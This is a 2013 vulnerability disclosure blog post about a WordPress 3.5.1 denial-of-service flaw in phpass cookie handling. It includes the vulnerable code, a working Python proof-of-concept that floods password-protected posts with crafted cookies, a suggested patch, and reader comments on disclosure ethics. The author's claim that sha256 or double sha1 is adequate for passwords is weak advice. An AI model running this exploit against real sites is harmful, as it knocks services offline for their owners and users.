WordPress 3.5.1, Denial of Service [UPDATE]

Because I haven't been pasting any new notes for few months, here is one of the bugs I've found in newest release of WordPress (version 3.5.1). It is Denial of Service vulnerability caused by self-implemented encryption system. WordPress security team has been informed about this issue. Since after a week I've received no response from them, I've made the research public. The bug is a bit hidden one, just check the source:

/* 111 */ function crypt_private($password, $setting)
/* 112 */ {
/* 113 */     $output = '*0';
/* 114 */     if (substr($setting, 0, 2) == $output)
/* 115 */         $output = '*1';
/* 116 */
/* 117 */     $id = substr($setting, 0, 3);
/* 118 */     # We use "$P$", phpBB3 uses "$H$" for the same thing
/* 119 */     if ($id != '$P$' && $id != '$H$')
/* 120 */         return $output;
/* 121 */
/* 122 */     $count_log2 = strpos($this->itoa64, $setting[3]);
/* 123 */     if ($count_log2 < 7 || $count_log2 > 30)
/* 124 */         return $output;
/* 125 */
/* 126 */     $count = 1 << $count_log2;
/* 127 */
/* 128 */     $salt = substr($setting, 4, 8);
/* 129 */     if (strlen($salt) != 8)
/* 130 */         return $output;
/* 131 */
/* 132 */     # We're kind of forced to use MD5 here since it's the only
/* 133 */     # cryptographic primitive available in all versions of PHP
/* 134 */     # currently in use. To implement our own low-level crypto
/* 135 */     # in PHP would result in much worse performance and
/* 136 */     # consequently in lower iteration counts and hashes that are
/* 137 */     # quicker to crack (by non-PHP code).
/* 138 */     if (PHP_VERSION >= '5') {
/* 139 */         $hash = md5($salt . $password, TRUE);
/* 140 */         do {
/* 141 */             $hash = md5($hash . $password, TRUE);
/* 142 */         } while (--$count);
/* 143 */     } else {
/* 144 */         $hash = pack('H*', md5($salt . $password));
/* 145 */         do {
/* 146 */             $hash = pack('H*', md5($hash . $password));
/* 147 */         } while (--$count);
/* 148 */     }
/* 149 */
/* 140 */     $output = substr($setting, 0, 12);
/* 141 */     $output .= $this->encode64($hash, 16);
/* 142 */
/* 143 */     return $output;
/* 144 */ }

$setting variable is fully controlled by the user which can be seen here:

/* 569 */ function post_password_required( $post = null ) {
/* 570 */     global $wp_hasher;
/* 571 */
/* 572 */     $post = get_post($post);
/* 573 */
/* 574 */     if ( empty( $post->post_password ) )
/* 575 */         return false;
/* 576 */
/* 577 */     if ( ! isset( $_COOKIE['wp-postpass_' . COOKIEHASH] ) )
/* 578 */         return true;
/* 579 */
/* 580 */     if ( empty( $wp_hasher ) ) {
/* 581 */         require_once( ABSPATH . 'wp-includes/class-phpass.php');
/* 582 */         // By default, use the portable hash from phpass
/* 583 */         $wp_hasher = new PasswordHash(8, true);
/* 584 */     }
/* 585 */
/* 586 */     $hash = stripslashes( $_COOKIE[ 'wp-postpass_' . COOKIEHASH ] );
/* 587 */
/* 588 */     return ! $wp_hasher->CheckPassword( $post->post_password, $hash );
/* 589 */ }
/* 250 */ function CheckPassword($password, $stored_hash)
/* 251 */ {
/* 252 */     $hash = $this->crypt_private($password, $stored_hash);
/* 253 */     if ($hash[0] == '*')
/* 254 */         $hash = crypt($password, $stored_hash);
/* 255 */
/* 256 */     return $hash == $stored_hash;
/* 257 */ }

sending $_COOKIE['wp-postpass_' . COOKIEHASH] as "$P$Spaddding" causes $setting[3] (in class-phpass.php) to be S, $count_log2 to be 30 and as a result $count value is above the billion. $count is used as a iterator in the loop where md5 function is called. Exploitation of this vulnerability is possible only when there is at least one password protected post on the blog.

Proof of Concept:

# Proof of Concept
# WordPress 3.5.1
# Denial of Service
# Author: vnd at vndh.net
import httplib
import re

def get_cookie_hash(hostname, wplogin):
    headers = {'Content-type': 'application/x-www-form-urlencoded'}
    handler = httplib.HTTPConnection(hostname)
    handler.request('POST', wplogin, 'action=postpass&post_password=none', headers=headers)
    response = handler.getresponse()
    set_cookie = response.getheader('set-cookie')
    if set_cookie is None: raise RuntimeError('cannot fetch set-cookie header')

    pattern = re.compile('wp-postpass_([0-9a-f]{32})')
    result = pattern.search(set_cookie)
    if result is None: raise RuntimeError('cannot fetch cookie hash')

    return result.groups()[0]

def send_request(hostname, post, cookie_name):
    headers = {'Cookie': 'wp-postpass_%s=%%24P%%24Spaddding' % cookie_name}
    handler = httplib.HTTPConnection(hostname)
    handler.request('GET', post, 'action=postpass&post_password=asdf', headers=headers)

if __name__ == '__main__':
    hostname = 'wordpress.remote'
    wplogin = '/wp-login.php'
    posturl = '/?p=4' # link to password protected post
    requests = 1000

    cookie_hash = get_cookie_hash(hostname, wplogin)
    print '[+] received cookie hash: %s' % cookie_hash
    for i in xrange(requests):
        print '[+] sending request %d...' % (i + 1)
        send_request(hostname, posturl, cookie_hash)

After the code execution, the sample WordPress installation answers with:

Error establishing a database connection

The possible solution to this issue is to apply the following patch:

--- wp-includes/class-phpass.php
+++ wp-includes/class-phpass.php
@@ -120,7 +120,7 @@
            return $output;

        $count_log2 = strpos($this->itoa64, $setting[3]);
-        if ($count_log2 < 7 || $count_log2 > 30)
+        if ($count_log2 < 7 || $count_log2 > 13)
            return $output;

        $count = 1 << $count_log2;

Short explanation for this one: WordPress by default uses B in the cookie, so the power is equal to 13, there's no need to set it to higher value.

The lesson learned? Don't play with your own encryption... sha256 or double sha1 and good password policy in most cases is all you need refer to OWASP Password Storage Cheat Sheet in this case. Btw. there will be more stuff for WordPress! ;)

UPDATE: As some people pointed out (crap, it's high time to learn reading comments...) the vulnerable piece of code has not been written by WordPress developers but it's "Portable PHP password hashing framework" created by Solar Designer. Even though it is external library, it is obvious that the security problem relates the WordPress software too. Moreover, the library may or may not be prepared for application specified behavior and developers need to pay attention to problems that may arise when implementing support for some external code. That is, in my honestly opinion, the problem in this case is related only to WordPress and it's implementation of authorization system. The user should not be able to pass arbitrary string to crypt_private function - the data passed to library need to be sanitized and/or the code of crypt_private need to be modified in order to fulfill application requirements.

martyb, posted on 11 June 2013 at 22:19
Wow you gave them a whole 7 days to get back to you and you chose to essentialy expose a 0day exploit since you felt entitled to a speedier response? Nice. I hope you tried at least twice to reach a security contact....
vnd, posted on 11 June 2013 at 22:23
7 days is enough to say "Ok, we will patch it"
martyb, posted on 11 June 2013 at 23:31
...7 days is plenty assuming they even got it.

enjoy your 15 minutes
sjamaan, posted on 11 June 2013 at 23:50
Actually, I think your advice about using plain sha256 or double sha1 is misguided. Hashcat and John The Ripper have shown that this is clearly not enough; CPUs and even more importantly GPUs can test millions of those in a few seconds. Yes, a good password helps, but that's very hard to get people to do.

Also, there are tradeoffs in the design of phpass. You should read those before criticising its design. Solar Designer really knows his stuff.
vnd, posted on 12 June 2013 at 00:08
martyb: I assume the email did reach the destination since I've received automatic anti-spam bot confirmation that all my pending messages had been delivered. And yes, in this case 7 days, with PoC and patch attached, is acceptable amount of time.

sjamann: salted passwords hashed using sha256 or double sha1 gives you good protection what does not mean that they are unbreakable, anyway in my opinion it gives you acceptable level of safety. There are many ways to make things more secure but simplicity is also a important thing. About your last argument: yes, I admit I've missed the fact that is external library, that is why there is an update to the post, have you read it?
technion, posted on 12 June 2013 at 01:07
martyb, show me a vendor anywhere who positively respond to security reports. I know I've reported tonnes of 0day to vendors and if I get a response, it says "we'll investigate" and it's the last I hear. You can invest countless hours into chasing a vendor so that you can do their work for them, or you can release an exploit and watch as they scramble to fix it.
illslamyourcabinets, posted on 12 June 2013 at 01:18
Nice work vnd. You even went out of your way to propose a patch. This should have been addressed immediately.

Stay mad martyb, stay mad.
martyb, posted on 12 June 2013 at 04:03
LoL I am not mad I could not even care less about wordpress or subsequent libraries. I just can't help but sneer ar so-called security researchers that quietly hope the vendor will not reply in the next few seconds so they can jerk off in public to their prowess while a bunch sites get defaced with whatever is the flavor of the week. Reputable security entities make a more valiant effort rhan a random email to a community driven project with no proof of contact to anyone actually consequential.
Obby, posted on 12 June 2013 at 04:12
...I like how in one sentence, author advocates against using "homebrew encryption" and in the next advocates for double-sha1 for hashing. Did I step into a time machine to 2004?
vnd, posted on 12 June 2013 at 06:13
I see a lot of people enjoyed the last but one sentence. It was not purpose of this note to present the best of possible password management systems. Please refer to OWASP in this case: https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet.
HenriSalo, posted on 12 June 2013 at 09:42
CVE request http://www.openwall.com/lists/oss-security/2013/06/11/3

As per my personal experience WordPress answers to emails, but it will take from two weeks to several months. I'd use two months with responsible disclosure.
boot13, posted on 12 June 2013 at 12:54
I asked around on #wordpress-dev and they were able to confirm that the Wordpress security team and core devs are now aware of the issue and are discussing fixes.
Andrew Nacin, posted on 12 June 2013 at 14:40
> I hope you tried at least twice to reach a security contact....

Nope, once. And it caught a bad spam filter (which we've now adjusted).

> As per my personal experience WordPress answers to emails, but it will take from two weeks to several months. I'd use two months with responsible disclosure.

Henri, you're also referring to general mail. The core team responds within a few days for responsibly disclosed issues.

A few more notes: As this is an external library used by more than just WordPress, we would normally privately contact and aim to work with other PHP project security teams. That's not a possibility now.

Regardless, we're now looking into this.
vnd, posted on 12 June 2013 at 18:33
It's nice to hear that you misled me by confirmation email which was:
"All pending messages from your address have been delivered to WordPress.org Security Reports. No action is needed on your part."

As I've understood, after receiving confirmation like this there's no need to send the email once again. Since you've adjusted it now it seems that if I had sent the message for the second time, it would have been caught by spam filter again.
Gynvael Coldwind, posted on 12 June 2013 at 19:15
Regardless of whether 7 days was enough or not (well, as we now know vnd would never get a response due to the misconfigured spam filter) I'm really surprised by exaggerated response to the full-disclosure in some comments above - in the end this is just a constrained DoS after all.

Personally I don't see any value in sitting on this bug without disclosing it.

First of all, the severity is minimal. One might argue that it's "a remote DoS that attackers can use to DoS a website!" - well, yes, but that's detached from reality, because:
1. This attack is incredibility easy to block on any IPS/WAF.
2. The attackers nowadays don't bother with this kind of stuff - they spend $10 to rent a botnet (or whatever the current black market price is) and just DDoS the site.

Second of all, vnd *did* provide both an explanation and a patch, and this allows everyone who cares about security to either patch it himself, or add a proper signature to the WAF/IPS.
Gynvael Coldwind, posted on 12 June 2013 at 19:21
@Andrew
> A few more notes: As this is an external library used by more than just
> WordPress, we would normally privately contact and aim to work with other
> PHP project security teams. That's not a possibility now.

From what I understand the bug isn't in the library - it's in the fact that Wordpress exposes access to a setting which it wasn't suppose to expose. Quoting Solar Designer's response (http://seclists.org/bugtraq/2013/Jun/44):
"Web apps (like WordPress) were indeed not supposed to expose the ability for untrusted users to specify arbitrary "setting" strings"

While the library could have provided a defense-in-depth, it didn't. But still lack of defense-in-depth doesn't make it a bug in the library.

Given the above, I don't really understand your remark - are you saying that the other projects might have made a similar mistake when using the library?
Well, the information is public now, so I guess other projects know about the DoS as well, instead of a chosen few :)
kurtseifried, posted on 12 June 2013 at 20:47
As per http://openwall.com/lists/oss-security/2013/06/12/3 please use CVE-2013-2173 for this issue.

-Kurt
dev_zzo, posted on 13 June 2013 at 09:19
Oh, the "responsible disclosure" business, how I *love* it. I love how they are trying to make the reporter take the responsibility for disclosure of a vendor's fuck-up (unfortunately, most of security issues actually are fuck-ups; this is open to argument).

> Wow you gave them a whole 7 days to get back to you ...
> I hope you tried at least twice to reach a security contact....

Now, why the hell would he do that? Isn't it the vendor's problem AND responsibility to properly reply to security-related emails? 7 days is more than enough to at least write "Thank you, your report has been received and is being investigated. We will keep you posted on the issue." It doesn't take much time, does it? Oh, and there probably should not be any spam filters on the security mailbox, just for the cases like these.

And now the dude gets booed for not chasing the vendor? Please. Be thankful he even tried to contact them instead of dumping the find right to FD/exploit-db/packetstorm.

vnd, great find! Keep it up
boot13, posted on 13 June 2013 at 12:54
I have to agree with dev_zzo: there's no way the security mailbox should be using a spam filter. Simple matter of risk analysis: what's better, having to delete spam email every day, or missing valid security reports?
parv, posted on 14 June 2013 at 21:02
Good on ya Mate!
kristenhanna, posted on 20 June 2013 at 08:48
Very helpful. Thanks. I will implement on my wordpress site. Also have a look at this plugin http://www.apptha.com/category/extension/Wordpress/Video-Gallery
cristian, posted on 20 June 2013 at 10:05
The `possible solution` is NOT actually a solution. Running this in a sandbox with with 2GB of RAM I could kill the server in just a few minutes. We need a better solution.
vnd, posted on 20 June 2013 at 13:32
cristian: I've used 13 as maximal value because WordPress note system uses this value as default while protecting entries. I agree that even after applying this patch, it is still possible to dos the server but it is far harder. 8k iterations of md5 is still too much but changing it require a bit more modifications in the engine to support different encryption schema and it should be done by WordPress team - so, we need to wait for official patch.

Setting max_execution_time in php.ini could be also a good hardening but as well as this patch, it will not guarantee maximal protection. You can also set $this->iteration_count_log2 statically to 4 (in construtor of PasswordHash), but it hasn't been properly tested and as I've just said it's better to wait for official solution.
vnd, posted on 21 June 2013 at 23:54
WordPress 3.5.2 has been released - it solves this security problem. However, there is no change with default behavior of protecting posts and as cristian mentioned - there might still be a way to exploit this flaw, but it will be far harder.
Gerard, posted on 22 June 2013 at 11:37
As I used your patch for all my websites yesterday, the WP development team released 3.5.2. over night ... Looking back my patching was not that necessary, but better safe then sorry. Thanx a lot for your post.

Awaiting a proper solution to the DoS issue.

Kind regards,

Gerard,
ethicalhack3r, posted on 25 June 2013 at 18:58
We believe vulnerable library was included in version 2.5 but wasn't used until version 3.4 - https://github.com/wpscanteam/wpscan/issues/219
MustLive, posted on 29 June 2013 at 22:56
vnd. Concerning your Denial of Service in WordPress. As I wrote last week in my post concerning release of WordPress 3.5.2 with fixing multiple vulnerabilities (including your one), this issue concerns both posts and pages which are password protected. Not only post as you wrote and similarly wrote WP guys at their site (in WP 3.5.2 announcement and in the codex). Since WordPress supports password at both posts and pages. Today I've made my version of your DoS PoC, which solves issues in it, and I sent exploit to you already.

ethicalhack3r. Yes, as I've checked earlier, vulnerable are versions WP 3.4 - 3.5.1.